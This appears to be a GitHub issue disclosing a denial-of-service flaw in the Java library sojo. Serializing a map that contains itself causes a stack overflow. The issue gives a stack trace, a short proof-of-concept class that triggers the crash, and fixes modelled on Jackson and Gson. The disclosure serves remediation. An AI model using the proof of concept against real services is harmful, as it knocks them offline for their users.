Skip to content

Stack overflow error caused by sojo serialization Map #16

@PoppingSnack

Description

@PoppingSnack

Stack overflow error caused by sojo serialization Map

Description

sojo before v1.1.1 was discovered to contain a stack overflow via the map parameter. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted string.

Error Log

Exception in thread "main" java.lang.StackOverflowError
	at net.sf.sojo.interchange.json.JsonWalkerInterceptor.handleControlCharacter(JsonWalkerInterceptor.java:114)
	at net.sf.sojo.interchange.json.JsonWalkerInterceptor.handleJsonValue(JsonWalkerInterceptor.java:181)
	at net.sf.sojo.interchange.json.JsonWalkerInterceptor.visitElement(JsonWalkerInterceptor.java:214)
	at net.sf.sojo.common.ObjectGraphWalker.fireVisitElementEvent(ObjectGraphWalker.java:80)
	at net.sf.sojo.common.ObjectGraphWalker.walkInternal(ObjectGraphWalker.java:139)
	at net.sf.sojo.common.ObjectGraphWalker.mapWalker(ObjectGraphWalker.java:201)
	at net.sf.sojo.common.ObjectGraphWalker.walkInternal(ObjectGraphWalker.java:144)
	at net.sf.sojo.common.ObjectGraphWalker.mapWalker(ObjectGraphWalker.java:201)
	at net.sf.sojo.common.ObjectGraphWalker.walkInternal(ObjectGraphWalker.java:144)
	at net.sf.sojo.common.ObjectGraphWalker.mapWalker(ObjectGraphWalker.java:201)
	at net.sf.sojo.common.ObjectGraphWalker.walkInternal(ObjectGraphWalker.java:144)
	at net.sf.sojo.common.ObjectGraphWalker.mapWalker(ObjectGraphWalker.java:201)
	at net.sf.sojo.common.ObjectGraphWalker.walkInternal(ObjectGraphWalker.java:144)
	at net.sf.sojo.common.ObjectGraphWalker.mapWalker(ObjectGraphWalker.java:201)
	at net.sf.sojo.common.ObjectGraphWalker.walkInternal(ObjectGraphWalker.java:144)
	at net.sf.sojo.common.ObjectGraphWalker.mapWalker(ObjectGraphWalker.java:201)
	at net.sf.sojo.common.ObjectGraphWalker.walkInternal(ObjectGraphWalker.java:144)
	at net.sf.sojo.common.ObjectGraphWalker.mapWalker(ObjectGraphWalker.java:201)
	at net.sf.sojo.common.ObjectGraphWalker.walkInternal(ObjectGraphWalker.java:144)
	at net.sf.sojo.common.ObjectGraphWalker.mapWalker(ObjectGraphWalker.java:201)
	at net.sf.sojo.common.ObjectGraphWalker.walkInternal(ObjectGraphWalker.java:144)
	at net.sf.sojo.common.ObjectGraphWalker.mapWalker(ObjectGraphWalker.java:201)
	at net.sf.sojo.common.ObjectGraphWalker.walkInternal(ObjectGraphWalker.java:144)
	at net.sf.sojo.common.ObjectGraphWalker.mapWalker(ObjectGraphWalker.java:201)
	at net.sf.sojo.common.ObjectGraphWalker.walkInternal(ObjectGraphWalker.java:144)
	at net.sf.sojo.common.ObjectGraphWalker.mapWalker(ObjectGraphWalker.java:201)
	at net.sf.sojo.common.ObjectGraphWalker.walkInternal(ObjectGraphWalker.java:144)
	at net.sf.sojo.common.ObjectGraphWalker.mapWalker(ObjectGraphWalker.java:201)
	at net.sf.sojo.common.ObjectGraphWalker.walkInternal(ObjectGraphWalker.java:144)
	at net.sf.sojo.common.ObjectGraphWalker.mapWalker(ObjectGraphWalker.java:201)
	at net.sf.sojo.common.ObjectGraphWalker.walkInternal(ObjectGraphWalker.java:144)
	at net.sf.sojo.common.ObjectGraphWalker.mapWalker(ObjectGraphWalker.java:201)
	at net.sf.sojo.common.ObjectGraphWalker.walkInternal(ObjectGraphWalker.java:144)
	at net.sf.sojo.common.ObjectGraphWalker.mapWalker(ObjectGraphWalker.java:201)
	at net.sf.sojo.common.ObjectGraphWalker.walkInternal(ObjectGraphWalker.java:144)
	at net.sf.sojo.common.ObjectGraphWalker.mapWalker(ObjectGraphWalker.java:201)
	at net.sf.sojo.common.ObjectGraphWalker.walkInternal(ObjectGraphWalker.java:144)
	at net.sf.sojo.common.ObjectGraphWalker.mapWalker(ObjectGraphWalker.java:201)
	at net.sf.sojo.common.ObjectGraphWalker.walkInternal(ObjectGraphWalker.java:144)
	at net.sf.sojo.common.ObjectGraphWalker.mapWalker(ObjectGraphWalker.java:201)
	at net.sf.sojo.common.ObjectGraphWalker.walkInternal(ObjectGraphWalker.java:144)
	at net.sf.sojo.common.ObjectGraphWalker.mapWalker(ObjectGraphWalker.java:201)
	at net.sf.sojo.common.ObjectGraphWalker.walkInternal(ObjectGraphWalker.java:144)


PoC

        <dependency>
            <groupId>net.sf.sojo</groupId>
            <artifactId>sojo</artifactId>
            <version>1.1.1</version>
        </dependency>
import net.sf.sojo.interchange.json.JsonSerializer;

import java.util.HashMap;

public class PoC2 {

    public static void main(String[] args) {
        HashMap<String,Object> map=new HashMap<>();
        map.put("t",map);
        JsonSerializer jsonSerializer = new JsonSerializer();
        jsonSerializer.serialize(map);
    }
}

Rectification Solution

  1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (FasterXML/jackson-databind@fcfc499)

  2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((google/gson@2d01d6a20f39881c692977564c1ea591d9f39027))

References

  1. If the value in map is the map's self, the new new JSONObject(map) cause StackOverflowError which may lead to dos jettison-json/jettison#52
  2. https://github.com/jettison-json/jettison/pull/53/files

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions